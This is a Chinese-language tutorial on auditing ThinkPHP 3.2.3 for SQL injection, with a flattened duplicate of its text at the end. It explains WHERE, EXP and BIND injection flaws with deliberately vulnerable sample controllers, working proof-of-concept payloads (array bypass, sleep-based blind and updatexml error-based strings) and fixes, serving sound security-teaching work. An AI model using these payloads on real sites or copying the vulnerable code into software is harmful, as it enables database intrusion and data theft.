从thinkphp教你学会sql注入代码审计(全)
字数 1320 2025-08-22 22:47:30

ThinkPHP SQL注入代码审计全面指南

一、环境搭建

  1. 下载ThinkPHP 3.2.3源码
  2. 配置数据库连接:
/* 数据库设置 */
'DB_TYPE' => 'mysql',    // 数据库类型
'DB_HOST' => 'localhost', // 服务器地址
'DB_NAME' => 'thinkphp', // 数据库名
'DB_USER' => 'root',     // 用户名
'DB_PWD' => 'root',      // 密码
'DB_PORT' => '3306',     // 端口
  1. 访问http://php.local/thinkphp3.2.3/自动生成模块

二、WHERE注入分析

漏洞代码示例

public function index() {
    $data = M('users')->find(I('GET.id'));
    var_dump($data);
}

漏洞原理分析

  1. 输入处理流程

    • id=1'I()find()_parseOptions()_parseType()select()
  2. 关键点

    • I()方法默认使用htmlspecialchars过滤
    • think_filter函数过滤特定SQL关键词
    • _parseType()方法将输入强制转换为int类型
  3. 绕过方法

    • 直接传入数组参数,避免类型转换
    • POC:?id[where]=1'

漏洞利用

  1. 报错注入(需开启debug模式)
  2. 时间盲注(通用):
    ?id[where]=1 and (select 1 from (select sleep(2)) x)
    

修复方案

  1. 区分$options$this->options作用域
  2. 防止用户输入污染$this->options

三、EXP注入分析

漏洞代码示例

public function index() {
    $id = $_GET['id'];  // 不使用I()方法
    $data = M('users')->where(array('id'=>$id))->find();
    var_dump($data);
}

漏洞原理分析

  1. 关键函数调用链

    • where()find()select()buildSelectSql()parseSql()parseWhereItem()
  2. 注入点

    • parseWhereItem()中的exp表达式处理
    • $exp == 'exp'时,直接拼接$val[1]到SQL语句

漏洞利用

  1. 报错注入POC:

    ?id[0]=exp&id[1]==1 and updatexml(1,concat(0x7e,user(),0x7e),1)
    
  2. 时间盲注POC:

    ?id[0]=exp&id[1]== and (select 1 from (select sleep(2)) x)
    

修复方案

  1. 使用I()方法获取参数
  2. I()方法会过滤exp等关键词

四、BIND注入分析

漏洞代码示例

public function index() {
    $User = M('users');
    $user['id'] = I('id');
    $data['age'] = I('age');
    $value = $User->where($user)->save($data);
    var_dump($value);
}

漏洞原理分析

  1. 关键流程

    • where()设置条件 → save()更新数据 → update()构建SQL → execute()执行
  2. 注入点

    • parseWhere()处理WHERE条件
    • SQL语句构建后,execute()方法会进行字符串替换

漏洞利用

  1. 构造恶意输入污染$options['bind']
  2. 利用字符串替换机制绕过过滤

修复方案

  1. 使用I()方法并指定bind过滤
  2. 严格限制输入参数类型

五、防御措施总结

  1. 通用防御

    • 始终使用I()方法获取用户输入
    • 启用框架的安全过滤机制
    • 关闭生产环境的debug模式
  2. 特定防御

    • WHERE注入:验证输入类型,避免数组污染
    • EXP注入:过滤exp等关键词
    • BIND注入:严格绑定参数类型
  3. 开发建议

    • 使用参数化查询
    • 最小权限原则配置数据库
    • 定期更新框架版本

六、审计技巧

  1. 关注点

    • 直接使用$_GET/$_POST的地方
    • 数组参数传递的SQL查询
    • 未过滤的exp表达式使用
  2. 调试方法

    • 跟踪I()方法的过滤过程
    • 分析_parseOptions_parseType处理
    • 检查SQL语句最终构建结果
  3. 测试用例

    • 尝试各种SQL注入payload
    • 测试数组参数传递
    • 验证过滤机制有效性

通过全面理解这些注入原理和防御方法,可以有效审计ThinkPHP应用中的SQL注入漏洞,提高应用安全性。

ThinkPHP SQL注入代码审计全面指南 一、环境搭建 下载ThinkPHP 3.2.3源码 配置数据库连接: 访问 http://php.local/thinkphp3.2.3/ 自动生成模块 二、WHERE注入分析 漏洞代码示例 漏洞原理分析 输入处理流程 : id=1' → I() → find() → _parseOptions() → _parseType() → select() 关键点 : I() 方法默认使用 htmlspecialchars 过滤 think_filter 函数过滤特定SQL关键词 _parseType() 方法将输入强制转换为int类型 绕过方法 : 直接传入数组参数,避免类型转换 POC: ?id[where]=1' 漏洞利用 报错注入(需开启debug模式) 时间盲注(通用): 修复方案 区分 $options 和 $this->options 作用域 防止用户输入污染 $this->options 三、EXP注入分析 漏洞代码示例 漏洞原理分析 关键函数调用链 : where() → find() → select() → buildSelectSql() → parseSql() → parseWhereItem() 注入点 : parseWhereItem() 中的 exp 表达式处理 当 $exp == 'exp' 时,直接拼接 $val[1] 到SQL语句 漏洞利用 报错注入POC: 时间盲注POC: 修复方案 使用 I() 方法获取参数 I() 方法会过滤 exp 等关键词 四、BIND注入分析 漏洞代码示例 漏洞原理分析 关键流程 : where() 设置条件 → save() 更新数据 → update() 构建SQL → execute() 执行 注入点 : parseWhere() 处理WHERE条件 SQL语句构建后, execute() 方法会进行字符串替换 漏洞利用 构造恶意输入污染 $options['bind'] 利用字符串替换机制绕过过滤 修复方案 使用 I() 方法并指定 bind 过滤 严格限制输入参数类型 五、防御措施总结 通用防御 : 始终使用 I() 方法获取用户输入 启用框架的安全过滤机制 关闭生产环境的debug模式 特定防御 : WHERE注入:验证输入类型,避免数组污染 EXP注入:过滤 exp 等关键词 BIND注入:严格绑定参数类型 开发建议 : 使用参数化查询 最小权限原则配置数据库 定期更新框架版本 六、审计技巧 关注点 : 直接使用 $_GET/$_POST 的地方 数组参数传递的SQL查询 未过滤的 exp 表达式使用 调试方法 : 跟踪 I() 方法的过滤过程 分析 _parseOptions 和 _parseType 处理 检查SQL语句最终构建结果 测试用例 : 尝试各种SQL注入payload 测试数组参数传递 验证过滤机制有效性 通过全面理解这些注入原理和防御方法,可以有效审计ThinkPHP应用中的SQL注入漏洞,提高应用安全性。